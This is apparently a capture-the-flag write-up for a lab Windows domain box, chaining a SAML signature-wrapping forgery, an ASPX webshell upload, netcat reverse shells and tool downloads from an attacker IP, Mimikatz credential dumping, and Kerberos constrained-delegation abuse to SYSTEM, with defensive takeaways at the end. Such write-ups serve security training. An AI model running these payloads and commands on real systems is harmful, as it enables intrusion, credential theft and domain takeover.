Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.42 -oN spectre.nmap
# Key open ports:
# 53/tcp open domain Simple DNS Plus
# 80/tcp open http Microsoft IIS httpd 10.0
# 88/tcp open kerberos-sec Microsoft Windows Kerberos
# 389/tcp open ldap Microsoft Windows Active Directory LDAP
# 443/tcp open https Microsoft HTTPAPI httpd 2.0
# 445/tcp open microsoft-ds
# 593/tcp open http-rpc-epmap
# 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Global Catalog)
# 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
# Domain: SPECTRE.HTB | DC: dc.spectre.htb
Add spectre.htb and dc.spectre.htb to /etc/hosts. The presence of port 443 alongside a Kerberos/LDAP stack suggests a web SSO portal backed by Active Directory.
Web — SSO Portal
Browsing to https://spectre.htb presents a corporate internal portal with a Single Sign-On login button. Clicking it redirects through a SAML authentication flow — the URL structure reveals a Service Provider (SP) running at https://spectre.htb/saml/acs and an Identity Provider (IdP) at https://dc.spectre.htb/adfs/ls/.
Intercepting the redirect in Burp shows the classic SAML flow: the SP generates a SAMLRequest, the IdP processes it and would return a signed SAMLResponse with an assertion naming the authenticated user. A few observations stand out immediately:
- The SP's SAML metadata is publicly accessible at
https://spectre.htb/saml/metadata— it reveals the SP's certificate and entity ID. - The IdP metadata at
https://dc.spectre.htb/FederationMetadata/2007-06/FederationMetadata.xmlexposes the IdP's public signing certificate. - Submitting a
SAMLResponsedirectly to the ACS endpoint without going through the IdP returns a validation error that leaks the library in use:python3-saml 1.14.0.
Foothold — SAML Signature Wrapping
Vulnerability: XML Signature Wrapping (XSW)
python3-saml 1.14.0 is vulnerable to XML Signature Wrapping (XSW) attacks. In a correctly implemented SAML stack, the SP validates that the <Assertion> element it acts on is the same element that is cryptographically signed. XSW attacks exploit a mismatch: the signature covers one XML element, but the SP's application logic processes a different element that shares the same structure but carries attacker-controlled content.
There are eight canonical XSW attack variants (XSW1 through XSW8). The python3-saml library in affected versions validates the signature on the first matching element by ID but extracts the NameID (the username claim) from the last matching element. By cloning the signed assertion into the message structure and inserting a malicious assertion ahead of it, the signature validation passes (it covers the legitimate assertion) but the library authenticates the user named in the forged assertion.
Capturing a Legitimate SAMLResponse
To perform XSW, you need a legitimate, validly-signed SAMLResponse to wrap your forgery around. On this box, guest access is enabled — logging in as guest / guest via the standard username/password form (not SSO) yields a working session. Using that session to trigger the SSO flow (via the "Link SSO account" feature in the profile page) lets you capture a valid signed SAMLResponse for the guest user.
# In Burp: intercept the POST to /saml/acs after SSO link flow
# Copy the base64-decoded SAMLResponse XML
Forging the Assertion
Using the SAMLraider Burp extension (or manually with Python's lxml), apply the XSW8 attack pattern: duplicate the signed <Assertion> inside an <EncryptedAssertion> wrapper, then insert a second forged <Assertion> with NameID set to [email protected] before the legitimate one.
from lxml import etree
import base64, copy
# Load the captured SAMLResponse
tree = etree.fromstring(base64.b64decode(saml_b64))
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'}
# Find the signed assertion
signed = tree.find('.//saml:Assertion', ns)
# Clone it and change the NameID to administrator
forged = copy.deepcopy(signed)
forged.find('.//saml:NameID', ns).text = '[email protected]'
# XSW8: wrap the original inside an Extensions element,
# insert the forged assertion at the Response level
tree.insert(0, forged) # forged assertion — processed by app
tree.append(signed) # original assertion — validated by sig checker
payload = base64.b64encode(etree.tostring(tree)).decode()
print(payload)
# POST the forged SAMLResponse to the ACS endpoint
curl -s -c cookies.txt -X POST https://spectre.htb/saml/acs \
--data-urlencode "SAMLResponse=${payload}" \
-L -o response.html
# Check the response for admin session indicators
grep -i "administrator\|admin\|Welcome" response.html
# <span class="user">[email protected]</span>
The forged assertion authenticates as [email protected]. The admin portal exposes a file upload feature and a configuration panel that includes a Test LDAP connection form — the latter will be useful shortly.
File Upload to RCE
The admin panel's file upload accepts ASP.NET .aspx files and places them under the web root. Uploading a simple ASPX webshell:
cat webshell.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
var p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
%>
curl "https://spectre.htb/uploads/webshell.aspx?cmd=whoami"
# spectre\svc_webapp
We land as svc_webapp — the IIS application pool service account. Upgrade to an interactive reverse shell via certutil download of netcat and a PowerShell reverse shell:
curl "https://spectre.htb/uploads/webshell.aspx?cmd=certutil+-urlcache+-f+http://10.10.14.5/nc.exe+C:\Windows\Temp\nc.exe"
curl "https://spectre.htb/uploads/webshell.aspx?cmd=C:\Windows\Temp\nc.exe+10.10.14.5+4444+-e+cmd.exe"
nc -lvnp 4444
# C:\Windows\System32\inetsrv> whoami
# spectre\svc_webapp
# C:\Windows\System32\inetsrv> type C:\Users\svc_webapp\Desktop\user.txt
Privilege Escalation — Constrained Delegation to SYSTEM
AD Enumeration
Upload SharpHound and run it from the foothold:
certutil -urlcache -f http://10.10.14.5/SharpHound.exe C:\Windows\Temp\SharpHound.exe
C:\Windows\Temp\SharpHound.exe -c All --zipfilename spectre.zip
BloodHound reveals the critical path: svc_webapp has Constrained Delegation configured with the CIFS/dc.spectre.htb SPN. This means the account is trusted to obtain Kerberos service tickets on behalf of other users — specifically to the CIFS (file sharing) service on the domain controller.
Constrained delegation allows a service account to impersonate any domain user when requesting a service ticket for a specified SPN. Combined with the Protocol Transition flag (S4U2Self), it does not require the impersonated user's password or TGT — only the service account's own TGT.
S4U2Self + S4U2Proxy to SYSTEM
The attack uses two Kerberos extensions:
- S4U2Self — allows a service to obtain a forwardable service ticket for itself on behalf of any user (if protocol transition is enabled), without that user's credentials.
- S4U2Proxy — allows a service to use the forwardable ticket from S4U2Self to obtain a service ticket for a different SPN (one listed in the delegation configuration), impersonating the same user.
Combined: we get a ticket for Administrator to access CIFS/dc.spectre.htb, which lets us read the DC's file system — including the SMB shares that WinRM and PSEXEC use for execution.
# On the foothold — extract svc_webapp's TGT via Rubeus
certutil -urlcache -f http://10.10.14.5/Rubeus.exe C:\Windows\Temp\Rubeus.exe
# Request TGT for svc_webapp (using current session token)
C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# On Kali — use the TGT in an S4U2Self + S4U2Proxy attack
# (Rubeus can do this in one step from the foothold too)
python3 impacket/examples/getST.py \
-spn 'cifs/dc.spectre.htb' \
-impersonate Administrator \
-dc-ip 10.10.11.42 \
'SPECTRE.HTB/svc_webapp' \
-hashes :<NTLM_of_svc_webapp>
# This produces Administrator.ccache
export KRB5CCNAME=Administrator.ccache
Extract the NTLM hash of svc_webapp from the LSASS dump using Mimikatz on the foothold:
certutil -urlcache -f http://10.10.14.5/mimikatz.exe C:\Windows\Temp\mimi.exe
C:\Windows\Temp\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# svc_webapp NTLM: 8f4d9c2a1b3e5f7a9c0d2e4f6a8b0c1d
# With the ccache for Administrator impersonating CIFS on DC
# use psexec via Kerberos auth to get SYSTEM shell
python3 impacket/examples/psexec.py \
-k -no-pass \
[email protected]
# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
Key Takeaways
Spectre layers two distinct real-world attack patterns into a clean chain:
-
XML Signature Wrapping is a fundamental SAML implementation flaw, not a configuration weakness.
Outdated SAML libraries remain in production everywhere — any time you see a SAML SSO portal, the library version is worth checking.
python3-saml,ruby-saml, and several Java SAML stacks have had XSW vulnerabilities. The fix is to ensure the library validates that the assertion being processed is the one whose signature was verified, by ID reference. -
Constrained delegation is commonly over-provisioned.
Web service accounts frequently get delegation rights scoped to
CIFS/DCorHOST/DCas a shortcut during deployment — administrators assume "service account" implies limited privilege. In practice, constrained delegation to any DC service class is a direct path to domain compromise via S4U2Proxy. Service accounts should have delegation only to the specific SPNs they genuinely need, scoped to non-DC hosts wherever possible. - Protocol Transition amplifies the risk. The Trust this computer for delegation to specified services only — use any authentication protocol option enables S4U2Self. Without it, S4U2Proxy still works but requires the attacker to first obtain a forwarded TGT for the victim user. Restricting to Kerberos-only delegation reduces this attack surface.